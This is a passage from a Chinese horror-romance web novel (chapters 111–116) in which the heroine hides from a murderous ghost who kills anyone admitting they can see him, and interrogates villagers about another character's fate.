但最显眼的是…… 应该黑色的身影,正在墓园里游荡。 它像是一个黑色的影子,又像是一个长长的黑色塑料袋,如同迷宫里迷路的人似地,一遍一遍、一遍一遍地在墓园外靠近出口的地方游荡。 大山深处没什么圈地的栅栏,即使是祖坟,看起来也不过是个荒山野岭,只有出口处设置了一个小小的、没有门的草门,可以随意进出,也提醒着来往的人进入了另一个世界。 明明大门近在咫尺,但那黑色的鬼影就像是被什么蒙蔽了视线,拦在了里面似地,一遍遍地走过,却对大门视若无睹。 而他们…… 不知何时,他们已经站在了大门之外。 一个男人快速地抬起头看了一眼那个黑影,紧接着低头,用压不住的恐惧声音低声道:“是、是……” 为首的男人下意识接话说:“是以前的白先生裴钰……” “!”所有人像是受惊的小鸟一般看向他。男人也瞬间意识到自己说错了话,他张了张嘴,还没来得及补救,只见一线血线自他的脖颈处显现,他的眼睛飞快地眨了眨,眼里残留的恐惧还没完全褪下,下一秒—— “哐!” 人头落地。 脑袋在地上滚了几圈,眼睛和嘴唇都沾满了泥土和草杆,他又张了张嘴,但这次什么都没说出来。 周围所有人的身上都沾满了血,他们的眼睛瞪得像是马上要掉下来。 但没有人说话,没有人有动作。 所有人都低着头,一动不敢动,大气也不敢出一声,仿佛在玩“一二三木头人”似的滑稽。 鬼影慢慢地从墓园里踱步出来,它闲庭信步的样子完全不像是刚刚杀了一个人。它飘飘忽忽地绕到其他人面前,开口问: “你……看得到我吗?” “……”那人不敢说话,身体抖如筛糠,又被旁边的人狠狠掐了一把,才恢复如常。 鬼影绕着其他人转了一圈,没有人敢跟他对视,人群中有人大着胆子说起了今年的庄稼收成,像是闲聊一般。 鬼影非常感兴趣地凑了上去,趴在那个人的肩膀上,听了一会儿。 但只是一会儿,它就觉得无聊了。它四处看了一圈,然后像是锁定了一个目标似地,又慢慢悠悠地飘了过去。 直到他们再也看不到鬼影的声音,人群中才有人发着抖、尖叫着哭了出来。 有人瘫坐在地上,有人急着去拉那具没有头的尸体,还有人看向远方——鬼影离开的方向。 那里,是裴砚住的小楼。 110-120 第111章 《她看不见》 她预感到这大概会是个很…… 瘫坐在地上的几个人互相打了个眼色, 有人忽然想起什么,问:“等等,老七家的是不是还在白先生家里?” “嘶——”有人倒吸了一口冷气, “他们不会打起来吧!” “……重要的不是这个吧,那个、那个……它不是过去了吗?” “算算也快到七天了, 白先生给我们办了这么多事情, 他的事情可别出什么差错!” “你的意思是……” “跟上去看看?” “……” …… 与此同时,小楼里,之芙呼唤着裴砚的名字。 “裴砚——裴砚?裴砚!” “奇怪, 去哪里了……”之芙一只手扶住坐在自己肩头的小纸人小九, 另一只手放在嘴边做喇叭状,“裴砚?你不在家吗?” 四周静悄悄的, 整栋小楼像是变成了无人之境, 只有她的声音在小楼里孤零零地回荡着。 裴砚不在家能去哪里?之芙思索起来, 这几天她去得地方也很少, 这个游戏的地图大概不多。小楼、祠堂、祖坟还有后山…… 裴砚像是一只孤魂野鬼般飘走了, 反正不在小楼里。 小纸人小九戳了戳她的脸,声音也细声细气的:“芙芙,天快要黑了。” 她看向了窗外, 夕阳正缓慢地沉入山的另一头, 像是一只垂死将闭的大眼睛, 透过窗户和她对视。 小九有点焦心, 她拍着之芙的脸说:“裴砚的房间里应该有逃跑用的那些装备吧?我们去找一些出来,然后你快跑吧。” “不急。”比起之芙的悠闲, 小九甚至都更像那个生死边缘的人,“那些人都在外面搜我,现在出门是自投罗网, 裴砚这里才是最安全的地方。” 她说得有道理。但小九的眉头还是皱成了一团,几乎要把纸做的脸蛋都折起来了:“那怎么办?” “先不急。”之芙说,她的视线扫过一楼一间靠内的屋子,挑起眉,“既然裴砚不在……嘿嘿。” 既然裴砚不在,她就可以…… 房间门被关得死死的,看不到里面的人,连一丝声音都没有泄露出来。 但之芙还是敏锐地闻到了一股来自情绪的味道……臭味。是嫉妒和阴暗混合在一起的味道,因为主人扭曲的愤怒的感情,变得酸不可闻。 她不会认错,这熟悉的味道,就是不久前的门外,被小纸人们抬进来的那个男人。 之芙走到房间外,用力地一推门——门锁着。不知道裴砚为什么要锁门,是不想让她见他吗? 肩头上小纸人小九跳下来,扒在门上。她把纸手伸进门锁里,扭了几扭。 “咔嚓”一声,门锁应声而开。小九转头看她,双手叉腰。之芙还不知道小纸人这么厉害,笑眯眯地亲了亲她脑袋。 “呀啊!”小九发出尖锐的小猫似的声音,又问,“芙芙,你是要……” “要问清楚。”之芙推开门,映入眼帘的是被五花大绑,嘴巴也被破布塞住的男人,他以一种扭曲的姿势躺在地上,脸色还有些红,地面全是被他蹭乱的痕迹,看来曾经激烈地挣扎过——不过现在大概已经放弃了,死狗似地躺成一团。 几个纸人或坐或站地在他身边盯着他,见之芙进来,都露出了惊讶的表情。 之芙赶紧用手指在嘴唇前面比了一个噤声的手势:“嘘!我是偷偷来的。不要告诉你们的主人,好不好?” 小纸人们眨眨眼睛,看着她。好一会儿,点点头,跑到她的脚步,伸出双手要抱。 之芙把它们抱起来,挨个亲过以示感谢。小纸人们捧着红红的脸,看起来是完全顾不上它们的主人了。 她蹲下身,看着男人。这么大的动静,早把闭着眼睛的男人惊醒。他眼睛瞪得像是某种大眼睛金鱼,下一秒就要掉出来似地,嘴里被烂布塞着也堵不住他的话,不断地发出“呜呜”的声音。 之芙蹲在他旁边,伸出一根手指,搓了搓他的脸。 “唔唔!唔唔唔唔!!!” “说什么呢,听不懂。”之芙拍了拍手,“你叫什么?” “唔唔唔!!!” 之芙像是没有看到男人混杂着愤怒和疑惑的眼神一样,又拍了拍他的脸:“你知道裴钰的事吗?” “唔唔!” “不知道?想好再说话哦。”之芙好整以暇地托着腮,看着男人在地上愤怒地挣扎,笑眯眯地问,“我再问一遍好了,你知道裴钰和裴砚两兄弟的事情吗?你肯定知道吧,可不要骗我哦。” 男人在地上滚了几圈,然后脑袋重重地撞上了床板,发出“砰”地一声巨响。 之芙这才站起身,施施然跟过去,把他嘴里的破布给拔了出来。 “想好怎么告诉我了吗?” 男人的脑袋撞在了床边,大概是有点晕,一时被之芙拔掉了嘴里的东西也没有发现,嘴里不断发出呻吟,躺了好一会儿才缓过神来,立刻又把眼睛瞪得像金鱼,十足的凶神恶煞。 但之芙只感觉想笑。 身边的小纸人动了动,似乎想阻止男人说话,之芙轻轻地吹出一口气。 他张了张嘴,在即将吐出谩骂的前一刻,表情呆滞下来。 之芙有得是手段让他开口,但她还是担心这个人会说谎。谁知道游戏里的NPC会不会故意说出错误的线索引导她呢? 之芙蹲下身,开口问道:“你叫什么?” “……”男人努力甩了甩头,显然意识不太清醒了。但他还是清晰地说出了之芙想要的答案,“王小七,我叫王小七。” 之芙满意地点点头:“你是怎么认识裴钰和裴砚的?” “裴钰……”男人思索了一会儿,喃喃自语似地,“谁不认识裴钰?裴家的白先生……不过……”他哼地冷笑了一声,声音里满是说不清道不明的情绪,像是羡慕,又像是嘲讽,“不过,是个短命鬼,也不比我强。” “仔细讲讲。”之芙干脆拉了个板凳坐在他面前,她预感到这大概会是个很长、很长的故事。“特别是,关于裴钰裴砚两兄弟命运的事情。” 第112章 《她看不见》 这一次,黑影慢慢地、慢…… “村子里谁不知道裴钰啊。裴家的继承人, 未来的白先生……” 在这个村子里,白先生是很独特的存在。白先生也只出自裴家,因为他们世代相传的操纵纸人的秘术, 与其说是裴家人会成为未来的“白先生”,不如说, 白先生这个名称, 就是为了裴家人而设计的——毕竟,村子里可没有“红先生”。 没有人知道裴家的秘术是怎么来的,他们来到这里的时间远比这片土地上的原住民还要早, 早在人们口耳相传的“很久很久以前”, 他们的名字就已经出现了。 所以裴家永远是神秘的,无论是他们操控纸人的秘术, 还是他们的命运, 仿佛都蒙着一层面纱, 让人无法窥探。 这片土地上的人们只能按照他们的判断和意志生存, 对他们的话唯命是从。 “所以你才嫉妒裴砚?”之芙有些好奇地问。人类的感情她不太能理解, 但对于这种有关生存的话题,她的小动物雷达很灵敏。 男人躺在地上,双眼无神, 没有回答她的话, 嘴里像是梦呓一般喃喃自语, 却听不清晰。 好吧, 看起来不完全是因为这样。人类的感情总是这么复杂,之芙不太理解。 从王小七有记忆开始, 裴钰就是村里同龄孩子中不一样的存在,在同龄的孩子还在玩泥巴的时候,他就已经成为了所有大人小孩众星捧月的关照对象。 所有孩子都羡慕他, 想跟他玩。 直到——裴家算出了裴钰的命。 做阴活的人不能十全,命数五弊三缺,五弊指的是鳏、寡、孤、独、残,三缺则是钱、权、命。 裴钰缺的是命,早亡,终年二十八岁。 所有人看裴钰的表情一下子变了。裴家的命数从来没有出过错,而裴钰也平静地接受了这个事实——至少外人看不出他有什么情绪波动。 既然是早亡,当然要选新的继承人。在裴家夫妇宣布要从村里挑选继承人的时候,四周的村子都沸腾了。 之芙戳了他:“你们那么想当白先生,不怕那个什么……五弊三缺吗?” 这个五弊三缺听起来还挺恐怖的。而且成为白先生还得剪掉自己的手指,看起来不是一个好的职业发展方向啊…… 男人面露狠色:“只要不是早死,别的也没什么!做大事的人就是要赌一把,才能成事!” 之芙看向他的手指——完完整整地立在他的掌根处,嘴上说得那么狠,行动上可是一点儿也看不出来“没什么”“成事”的意思。 他这么想当白先生,要是当时能狠下心剪掉自己的手指,说不定也能跟裴砚争一争——虽然从纸人们对裴砚的喜爱和对他的厌恶来看,赢过裴砚的可能性也不大。 纸人不是人类,更接近于天生地养的动物,心性单纯,一眼就能分辨出人类的善恶,它们明显不喜欢王小七这样的人。 男人张了张嘴,又说:“而且,裴砚的命也没什么,挺好的,五弊三缺之缺独而已,已经是最好的命了。” 之芙问:“裴砚缺的命数是独?什么意思?” 这个五弊三缺,别的都很好理解,这个“独”却让人有些摸不着头脑。独?是独自一人、孤独的意思吗? “爹娘早死,养父母和养兄也死了,娶了几个老婆也跑了,身边空无一人,就是独的意思啊。” 男人说得轻松,之芙却不由自主怀疑起来:就这么简单? 这些事情,她早就从裴砚的嘴里知道了。如果真的这么简单,裴砚为什么要说“不知道”? “哦对了,还有一个。”男人忽然想起了什么,竟兀自笑了起来,他笑得阴森森的,仿佛为自己即将说出的话感到痛快似地,露出了一个不怀好意的表情,“裴家说,裴砚的命运,就是永远——” 门外忽然响起了轻轻的脚步声。在男人的话还没有说完时,所有的纸人忽然不约而同地转过脸,看向了门外,动作整齐又无声,让人毛骨悚然。 嗯?是裴砚回来了吗? 之芙站起身想出门看看,身边的小九却忽然拉住了她的衣摆。 “别去……”她小声地说,声音因为惊恐和害怕变得尖细刺耳,“芙芙,快躲起来!” “什么?”之芙不明所以,还是停下了脚步。她注意到身边所有的纸人的表情都变得警惕了起来,不断地扯着她的衣角。 啪嗒、啪嗒、啪嗒…… 脚步声还在不断靠近。 一个纸人跳起来,捂住了躺在地上的男人的嘴,也捂住了他即将脱口而出的话。 啪嗒。 脚步声停在了一门之隔的地方。 之芙此刻终于注意到了有哪里不对劲——这个脚步声,很奇怪。 轻飘飘地,漫无目的地,像是指甲挠在黑板上似的让人心里没来由地发毛。 这绝对不是裴砚的脚步声。裴砚的脚步声是又重又快的,干净利落的。 可是……这不是裴砚的脚步声,还能是谁的? 难道是那群追她的村民?他们怀疑裴砚了? “快躲起来!” 到底是谁?可是她看向小九,小九却表情焦急地摇头,它一定知道外面的人是谁,但却不愿意说。 之芙立刻看向了房间里,这是一间不大的客房,除了生活必需品之外没有多余的摆设,也没有住过人的痕迹。 床底下?衣柜里?门后面? 之芙迅速地扫了一圈,排除了这些选项。床太高,衣柜太小,门后面——她怕开门杀。 门外的脚步声重新响了起来,之芙撇到了靠墙的梳妆台,这个梳妆台在进门的右边,刚好是视线的死角,开门第一眼都会下意识审视正对门的床和衣柜。 这个房间本来就小,藏在里面,无异于被堵死在房间里了,除了祈祷对方找不到自己之外没有别的办法,但如果藏在梳妆台的下面,趁对方不注意,还能悄悄溜出去。 之芙看了一眼地上躺着的男人,三两步冲到男人的身边,拎起捂住男人嘴的小纸人,压低声音问:“你刚刚要说什么?裴砚的命运是什么?” 这可是关键线索,别停在这里呀!万一她再回来这个男人就死了怎么办? “裴砚……”男人面露茫然,似乎在努力地思考。 啪嗒。啪嗒。 脚步声再次响起,这一次,目标明确地指向了他们的房间。 “他的命运就是永远……” “芙芙!”小九发出了压低声音的尖叫,“快躲起来!外面那个是,是,是……” 是? 啪嗒。啪嗒。 吱嘎—— “快点!要来不及了!” 之芙咬牙。在大门被打开前的最后一秒,她匆匆站起身,躲进了梳妆台下。 “嘎吱——”门开了。 脚步声,却消失了。或者说,脚步声停在了门前。 之芙忽然觉得有哪里不对劲。她感觉很奇怪,记忆中有奇怪的熟悉感,仿佛这一幕曾在哪里出现过,而现在她小动物的本能正在疯狂地向她的理智发出预警。 之芙还没有想明白为什么,她手臂里环住的纸人们,忽然开始发抖,发出极其细微的响声。 她疑惑地低下头,把瑟瑟发抖的小纸人们搂在怀里,用眼神询问:出什么事了? 为什么……平常天不怕地不怕的纸人们会害怕成这样?外面的人究竟是谁?答案似乎呼之欲出。 啪嗒。啪嗒。 脚步声再次响了起来。之芙看到一个黑色的影子,像是很感兴趣一般,站在了门前。他开口,声音温柔得无比熟悉: “你看到我了吗?” 之芙瞪大了眼睛—— 王小七一定会说真话。 躺在地上的男人缓缓地转过头,看向了黑色的影子。他的瞳孔瞬间收缩,表情变得痛苦而惊异——此刻在他的脸上,倒是看不出半分刚刚他嘲笑裴钰是“短命鬼”的轻蔑表情了。 他张了张嘴,五官变得扭曲,似乎极力控制自己不要说话,但那是徒劳的。 鬼影对此视而不见,它似乎心情很好,笑着又问了一遍: “你看到我了吗?” “我,我——” 收缩到针尖大小的瞳孔最后留下的图像,是一个漆黑的影子。鲜血喷得床和墙上满是溅射状的血迹,头颅咕噜噜地滚进了床下,只剩躯体抽搐了一会儿,直挺挺地倒在地上。 那个黑影变得清晰了一些。已经能看到它高瘦的身体和面部轮廓。 之芙躲在梳妆台底下,脑海中突然回想起不久前,一段熟悉的记忆。 她终于想起来这奇怪的熟悉感是从哪里来的了。 裴钰温柔的气质、熟悉的声音,还有上个游戏里戛然而止的剧情,消失的角色,游戏外奇奇怪怪的“修理工”和司苍,更重要的是…… 她经历过。 像现在这样,躲在桌下,躲一个熟悉的人。这样的事情,她不是第一次经历了。 一切线索如电光石火般串联了起来,为什么纸人不肯说对方是谁,为什么她总在裴钰身上感受到一股熟悉的感觉。 啪嗒。啪嗒。 这一次,黑影慢慢地、慢慢地,走向了她。 熟悉的声音依旧: “你看到我了吗?” 第113章 《她看不见》 “你看到我了吗?”…… 之芙的脑海中迅速闪回了裴砚曾跟她说过的话。 “记住, 你什么都没看见。”他是这样说的。 所以,这个怪物在游戏里的躲避方法就是——装作看不见他? 但具体的判定是什么样的?装作看不到就可以了吗?如果看到了,但仍然嘴硬呢?这样可以吗? 如果嘴上不回答, 但行动上表现出来呢? 它主动搭话时不回应,这样就可以了吗? 等等, 王小七明明也没有完全回答。但仍然判定成能见到它, 被它杀死了。 怀里的小纸人们发着抖,身体颤抖的频率隔着一层薄薄的白衣传到她的身上。 裴砚说过,她回答了裴钰的问题, 它就会永远缠上她…… 之芙突然意识到, 她不能躲。如果故意躲起来,岂不是代表自己看到了它? 她抱住怀里的小纸人们, 想要从桌子下面钻出来。 但下一秒, 面前突然出现了一双腿。之芙瞪大了眼睛, 那双腿笼罩在黑色的阴影中, 看起来像是一片模糊的黑色, 但仔细看去,却隐约能看到肢体的轮廓。 不知道是不是错觉…… 像是从黑色的雾气中解脱出来了似地,它的五官和身体, 似乎比进门时, 更加清晰了。 甚至清晰到, 让之芙觉得熟悉的程度。 不仅是它本身, 就连这个动作,这个姿势, 也让她熟悉。 “……” 室内陷入了诡异的寂静。之芙看着面前的人影——它没有动。不知道出于什么心思,它没有离开,但也没有弯腰看她, 只是这样站在她的面前,像是被按下了暂停键的游戏人物。 从她的角度看过去,只能看到它的腿,看不到它的表情,自然无从猜测它下一步的行动。 ……为什么? 为什么不动?为什么不说话? 小纸人小九忽然拉了拉之芙的衣领。之芙下意识低头,跟小纸人对上了视线。 忽地,她福至心灵般伸出手,摸向了前方—— 手指穿过黑影,眼前巨大的黑色人形像是视网膜上的错觉,穿过时没有任何实感。 人影动了动。退开一步,看向她。 之芙还维持着那个半边身子探出桌子的姿势,她感觉到有个阴冷的视线从上方落在了自己身上,潮湿黏腻,带着泥土和血的腥气,像是一只软体生物似地黏在她的指尖,又顺着指尖爬上她的手臂、肩膀和头顶。 像是被什么隐藏在黑暗中的生物给盯上了似地,但那目光冰冷又锋利,落在身上如有实感,简直像是一把刀落在了手上。 之芙强忍住自己想要收回手的下意识动作,保持着那个姿势,顿了顿,她慢慢地从书桌下面爬了出来。 她感觉到那个人影正在审视她,审视着她的每一个动作,那样明显的目光,很难不察觉。之芙花了点力气克制住自己想要抬头跟它对视的欲望,抱住怀里瑟瑟发抖的小纸人们。 之芙已经离开了桌子底下,她轻轻地呼出一口气,手肘撑在地上想要站起身。 起身,装作若无其事的样子,离开房间,然后去找裴砚。 裴砚……裴砚去哪里了? 之芙垂着眼,但是下一秒,眼前笼罩下一片阴影。 “阿芙……”她听到黑影轻轻地唤她的名字,声音像是从虚无中传来的,缥缈地不真实,却久久不散。 它——或者说,他。 黑雾散去了一些,之芙能看清楚他的脸了。那是一张极其俊美的脸庞,笼着一层黑雾,却显得出几分朦胧的神秘感。 和想象中面目狰狞的鬼怪不一样,他的表情温柔平和,嘴角噙着柔和的笑意,如果不是那层奇怪的黑纱,他看起来就像一个过分好看的邻家哥哥。 他的面部轮廓也是柔和的,立体深邃的眉眼五官和裴砚有些相似,但气质却迥然不同,让之芙想起某位故人。 他歪着头,打量了之芙一会儿,又顿了顿,微笑着把手伸了过来。 冰冷地、潮湿的手,轻轻地抚过之芙的脸颊,像是一块冰捂在她的脸上。之芙强忍住寒冷带来的颤栗,装作什么都没有看到、也什么都没感受到的样子。 但裴钰——他蹲在她的面前,一米八的大高个蹲成一团,小狗似地,眼巴巴地看着她。 又笑眯眯地,脸上温柔的表情很有欺骗性——如果没有满地的血、房间里无头的尸体和鼻子里浓郁得呛人的血腥味,他看起来只是个想叫青梅竹马的妹妹出去玩的好哥哥,甚至主动蹲下身跟她视线齐平,用哄孩子的语气,说: “你看到我了吗?” 第114章 《她看不见》 ……不会被亲吧?…… 之芙的瞳孔下意识一颤。 面前温柔的男人绽出一个意料之中的笑, 他嘴唇动了动,正要开口说话,忽然, 一只小纸人从之芙的怀里跳出来,道:“芙芙, 过来。” ——那只小纸人正是小九。她看起来也在发抖, 只是表情强作镇定,对着之芙露出一个笑:“我们去找裴砚吧。” 之芙会意,硬着头皮从黑影的身下爬了出来, 半蹲在小纸人面前, 伸出手:“你上来。” 小九跳进她的掌心,顺着手臂爬到她的肩膀上, 扶着她的头发坐稳。 “裴砚在哪里, 你知道吗?”之芙无视了蹲在原地, 好奇地望向她的黑影, 一边问小纸人一边往外走。 “不知道诶, 我们找找吧?”小纸人也镇定地说,“我和别的纸人不一样,我不是裴砚意识的分身, 所以不能感知到他在哪里, 只有他主动找我, 我才会知道。” “哦……那其他小纸人呢?”之芙戳了戳自己怀里的其他小纸人, 避开了黑影投来的视线,“你们知道裴砚在哪里吗?” “……” 怀里的几个小纸人却只是瑟瑟发抖, 露出惊恐至极的表情,竟然害怕到连话都说不出来。 为什么?难道是因为它们跟小九不一样,是属于裴砚的纸人? 之芙一步步朝外走去, 身后传来窸窸窣窣的细微响动。 ……黑影跟上来了。 之芙推开房间的门。 对了……黑影是裴钰,裴钰也是“白先生”,所以小纸人们才害怕他的?难道这些小纸人曾经是裴钰的小纸人,或者跟裴钰相处过? 但是裴钰明明已经死了……裴砚似乎没有说过,白先生死后,他的纸人会去哪里。是继承给新的白先生吗?还是跟着死去的人一起离开? 啪嗒。啪嗒。 身后的影子跟了上来。他的脚步声有一种特殊的韵律,从虚空中传来,不紧不慢,却透着一股令人心焦的压力。 之芙抱紧了怀里瑟瑟发抖的小纸人们,对黑影视若无睹,也不紧不慢地往外走。 裴砚会在哪里?她现在开过地图的地方不多。祠堂?祖坟?外山? 黑影走到了她的身边。他侧着头,也没有出声,似乎很感兴趣似地,看着之芙。 之芙努力忽视着他,脑海中思考着裴砚现在在哪里来转移注意力:外山应该不太可能,现在那边全是找她的人,裴砚应该不会去那边吧?祖坟? 祖坟应该也…… “咳咳。”身边的人突然咳嗽了一声。之芙散漫的思绪下意识就要看向他,忽然,小九拉了她一下。 之芙立刻回神!黑影这么久不说话,她还以为他放弃了……狡猾! “你能看到我吗?”黑影又问了。 之芙不理会他兴致勃勃的表情,往前走了几步,推开了中间的门。 裴砚会在祖坟那边吗?应该也不会吧……昨天晚上,她跟“裴钰”说话之后,裴砚分明露出了担忧的表情,如果按照游戏的说法,小楼算是裴砚的地盘的话,祖坟那边应该就是属于裴钰的地图。 之芙思考着裴砚可能在地方,拉住了面前大门的把手。 小楼的布局很奇怪,从房间到门外,要穿过很多游廊和大厅,还有好几扇门。 之芙一边推开门,一边问坐在肩膀上的小九:“你说,裴砚会不会在祠堂?” “我也不知道……”小九小声地说,脑袋埋得低低的,连看都不敢看一眼站在之芙身边的裴钰。 “去看看就知道了。”之芙若有所思,用力地推门——推门。 没推动。 面前覆盖下一片阴影,一只蒙着黑色雾气的手交叠在她的手上,按住了门的把手。 之芙眉头一跳:“奇怪……门锁了?” 门自然没有锁。是站在她身后的黑影在捣鬼,他按住了门锁的把手,无论之芙怎么使劲地打不开。 身后传来男人幽幽的声音:“你骗人。你根本就能看到我。” 一个质疑的问句,掉以轻心的话很容易下意识反驳。但之芙心里正提防着,于是没有接这话,只是保持着疑惑的表情,试着推开门。 理所当然地失败了。 “奇怪……”她自言自语,看了一眼坐在肩膀上的小纸人小九。 身后贴上冰冷的身体,像是冰块贴上单薄的衣衫,没一会儿冷汗就打湿了布料,紧紧贴在脊骨上。湿滑的感觉如同附骨之疽,牢牢地缠上她。 “……”之芙的呼吸加重了些。 身后的“人”靠过来,脸颊亲昵地贴上她的肩膀,蹭了蹭。 “上次看到你的时候,可不是这样。”黑影说。“明明上次还那么亲密……” 上次?他说的是之前在祖坟那一次。 黑影语气幽幽地:“上次,明明还说爱我呢。”他掐了掐嗓子,柔声学着之前之芙说过的话:“我当然爱你,裴钰。” 之芙无意识地咬住唇。湿红的唇瓣上留下一点儿红痕,雪白的牙齿在上面抿来抿去。 黑影的视线无可抑制地落在了上面。只顿了几秒,之芙还在努力地跟门把手斗争,却听他幽幽地自言自语道:“我记得……我们拜过堂了。” 下一秒,冰冷的指尖落在了之芙的唇上,缓慢地摩挲着。 “你是我的妻子……” 之芙呼吸停顿了一瞬,心里飞速思考着裴砚可能在的位置。 不在小楼,不在祖坟,不在外山……祠堂?之芙记得,祠堂里还放着裴钰的尸体,等待下葬。 唇瓣上的指尖不断擦过柔软的唇珠,留下的冰冷印记像是烙铁一般刻印在上,他的目光像是黏着在上面似的。 ……不会被亲吧?被亲的话要怎么假装……看不到? 门把手被之芙拧得咔咔作响。隐约中,她似乎听到门外传来脚步声和说话的声音。 现在这个时间,还有谁会回来?是裴砚吗? 下一秒,黑影低下头来—— 就是现在!之芙猛地一拧门把手,“咔嚓”一声,大门应声而开,之芙直接穿过黑影的身体走向门外—— 然后,她和一群村民对上了视线,面面相觑。 第115章 《她看不见》 “告诉我,裴砚的命运是…… 大门轰然打开, 之芙跟站在自己面前的几个男人四目相对,彼此都从彼此的眼睛里看到了错愕和茫然。 之芙:“……” 对面的人:“……” 之芙听到了身后人发出了一声轻笑。 面前跟她四目相对,面面相觑的男人下意识抬起头—— 之芙把小纸人往怀里一揣, 像一条滑溜溜的小鱼似地,从男人的手臂底下钻了出去。 “啊!!!”身后传来尖叫声, 之芙没有回头, 低着头往前跑,在所有人都没有反应过来的时候穿过他们飞快地跑向门外。 紧接着,身后又传来男人的叫嚷:“她在那里!!!” “快追!”“别让她跑了!!!”“裴先生呢?裴先生在哪里?” 之芙一边往山下狂奔, 一边回过头去, 看了一眼身后。身后,几个男人大喊大叫着, 挥舞着手中的镰刀和菜刀朝她跑来, 但面上却带着明晃晃的恐惧, 仿佛借由这个对她喊打喊杀的动作来转移注意力。 因为……他们身后, 黑影不紧不慢地跟上了他们, 走在他们身边,眉头微挑,饶有兴致地看着他们的追逐战。 黑影变得更加清晰了, 这不是错觉, 身后的大门上溅满了血, 追着她的几个男人身上, 也溅上了血。 为什么?因为那个人抬头看了裴钰? 她也做了这样的举动,但系统没有判定她“看到了裴钰”, 这是玩家光环?还是因为……判定逻辑是裴钰自己定义的?他觉得自己被看到了,就是被看到了,他觉得没有, 就是没有? 这样的话……他对自己,还真是宽松。之芙在心里干笑了一声,这应该算是好事吧? 但是,为什么?因为她是他的未婚妻?不对不对,现在已经是妻子了…… 毕竟是恋爱游戏嘛……作为主角,她肯定是不一样的。 之芙稍微走神了一会儿。 从山下走向祠堂的路不算特别远,之芙又在狂奔,没一会儿,小纸人拉了拉她垂在肩膀上的发丝。 她们已经跑到祠堂了。 裴砚会在祠堂里吗?现在只有裴砚能救他们了…… 之芙在门前短暂地停顿了一会儿,一手拉着大门上的铁环,一边转头看向自己的身后。 她身后的几人跟她距离不远。她思考了片刻,拉开大门,跨步进去的同时关上了门。 “……” “呼……呼……” 狂奔后的大脑像是一汪滚烫的沸水,之芙用深深的呼吸来平复奔跑后喘不匀的气息,寂静的空间里只有她不断喘气的声音。 肩膀上的小纸人拍了拍她:“芙芙?快躲起来。” 之芙对她摇了摇头。她知道小纸人的意思,但她没有急着躲起来或者去找裴砚,她还有一个更重要的问题想要知道答案。 大致扫视一圈,祠堂里没有光也没有人。之芙把耳朵贴在木门上,听着门外的动静。 脚步声,喘气声,还有说话的声音和震动,越来越近,就在门外。 人数……听起来是三个。三个人有点太多了。之芙回头看了一眼祠堂,这是一栋类似阁楼的二层小楼,一楼十足宽敞,一进门就是高至头顶的,层层叠叠的牌位,像是一颗枯朽的参天大树。 牌位桌前面放着一张供桌,供桌上点着两根香烛,瓜果飘香。 地面上,属于小九的血迹已经被洗去了,干净得仿佛什么都没有发生过。 之芙看了一眼牌位的方向——在后面的房间,放着裴钰的棺椁和尸体。 那些村民肯定不愿意去那里,他们很怕裴钰。之芙躲进了牌位桌的后面,屏息凝神地听着门外的动静。 片刻后,大门发出“砰!”地一声巨响,有人从门外将门猛地撞开,大门砸在墙壁上,又反弹回去。 几人粗声粗气地走进了祠堂,寂静的祠堂里回荡着他们的喘气声,却没有人说话。 又过了几秒钟,才有人颤声道:“来了吗?” “你疯了!”立刻有人大声反驳,嚷嚷着,“说什么呢!” “我、我是……在说那个娘们!”一开始说话的人嘴硬道,但从语气中能听出来他的恐惧。 “……” “……” 又是好一阵寂静。没有人说话,之芙躲在牌位的后面,也不知道外面发生了什么,外面的人不可能告诉她,裴钰到底有没有跟进祠堂。 “别管了,先把那娘们找到。”有人说着,“找到了就万事好说,裴先生后天就要下葬了,早点解决这件事,咱们也早点安心。” “大哥说得对。”另外两人都赞同,一开始说话的人又说,“咱们分头找,老二你去楼上,老三跟我在一楼找,注意别去那个房间。” “好!”有人咬着牙说,“大哥你要是找到那娘们了一定跟兄弟们说,这娘们害死了这么多人,一定不能让她好过!” 躲在牌位后的之芙也清清楚楚地听到了这句话。她扯了扯嘴角:也不知道是谁让谁不好过。 脚步声散开,走远了,之芙按了按坐在自己肩膀上的小九,做了一个噤声的动作,然后拿起了放在供桌上的一根没有点燃的蜡烛。 抱歉了裴砚。之芙在心里说,但是说话说一半,真的很没有道德! 而且,按照游戏的设定,如果她问几次都只能得到被打断的结果,那说明这个线索她永远无法解开了——留半句话在游戏里,真的让人很生气! 之芙往外看了一眼,在昏暗的光线下,隐约看到两个人影在祠堂里搜索,她等到其中一个人走进房间里之后,从牌位后面走出来。 “谁?!”她的脚步声不轻不重,正好被男人听到了。 之芙没有停留,快速地钻进了最近的一间房里。 男人在原地站了片刻,也跟了进来:“谁在那里?!” 他的声音惊动了进房间的人,那人探出一个头:“怎么了?” “……刚刚好像看到有人走进房间。”他压低声音说。 “男的女的?” “是女的吧……”男人也不太确定。别的都不怕,只怕是裴钰,而且,这个房间…… 男人犹豫了一下,房间里传来了脚步声。他顿了顿,想要抓住之芙,给她一个教训的急切心理还是占据了上方。他跟对方交换了一个眼神后,推开门—— 下一门,大门“砰!”地一声从里关上了。 几个纸人压住男人的身体,之芙从身后用一只手反拧住他的手,把他按在门板上。 另一只手,用蜡烛抵住男人的腰。 “告诉我,裴砚的命运是什么。”她低声逼问。“现在,立刻!” 第116章 《她看不见》 他们想现在杀了她,让裴…… “你……!” “别动!”男人挣扎了一下, 之芙立刻低吼了一声,先发制人,用蜡烛抵住男人后腰, 示威般敲了敲,“再动我就捅进去了。” 小纸人也应声点头, 一脚踩在男人头上。 “快说, 别想骗我,裴家收养了裴砚,裴家说的, 关于裴砚的命运到底是什么样的?” 男人咽了咽口水, 刚刚嚣张得要“教训那个娘们”的气势已经完全消失了,在用“刀”抵着自己的之芙和气势汹汹地盯着自己的几个小纸人面前瞬间蔫了, 连声音都小了很多:“你, 你问这个干什么?” “你别管。”之芙威胁, “现在就说, 别转移话题!” “他、他……”男人弱弱地说, “我也不知道……那种东西,怎么会随便告诉我们?” “想撒谎?”之芙冷笑,“你别想骗我, 你们那个叫王小七的家伙已经跟我说了, 这件事你们村里所有人都知道。” 她话语刚落, 门外突然响起和他一起进门的男人疑惑的声音:“老二, 你在里面吗?” “咚咚咚!咚咚咚!”敲门声。 紧接着是脚步声,门外人站到了门前。他的声音变得清晰:“老二?你开门啊, 我在外面……” 说到最后四个字的时候,他的声音颤抖着,颤颤巍巍的, 听起来很害怕的样子,前言后语也不通顺。 但之芙几乎是瞬间就明白了他的言下之意:裴钰在外面。 男人顿了顿,从喉咙里发出了一声“啊——” 但几秒钟之后,之芙就紧紧抵住他,压低声音接着说:“知道王小七是怎么死的吗?” 